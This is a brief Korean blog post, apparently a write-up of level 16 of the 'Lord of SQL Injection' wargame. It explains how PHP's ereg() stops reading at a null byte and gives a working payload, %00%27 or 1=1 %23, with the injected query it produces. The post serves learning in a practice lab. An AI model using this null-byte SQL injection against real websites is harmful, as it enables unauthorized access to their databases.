Lord Of SQL Injection [ 16.Zombie Assassin ]

2017. 9. 16. 18:54WebHacking/Lord of SQL injection





[ ereg함수의 취약점 ]

ereg( "A" , 문자열 )    : 문자열에 A라는 문자가 있는지 확인한다 => 있으면 참, 없으면 거짓

ereg함수의 취약점 => Null을 문자의 끝으로 인식하고 Null까지만 확인한다


ereg( "A" , "abcd%00efg" ) 의 예를 살펴보자

해당 함수는 " abcd " 를 확인하고 %00(Null) 값을 확인하면 그 이후의 문자를 확인하지 않는다

따라서 " efg " 대신에 우회하고 싶은 문자를 입력해서 우회할 수 있다



 https://...php?pw=%00%27 or 1=1 %23 

=> SELECT id FROM prob_zombie_assassin WHERE id='' and pw='' or 1=1 #'


$_GET[pw] = %00%27 or 1=1 %23

ereg ( "'" , %00%27 or 1=1 %23 ) 함수에서 %00까지만 확인하여서 %27을 확인하지 않는다

따라서 요즘 mysql에서는 preg_match() 함수를 사용한다


* ( %27 = ' , %23 = # )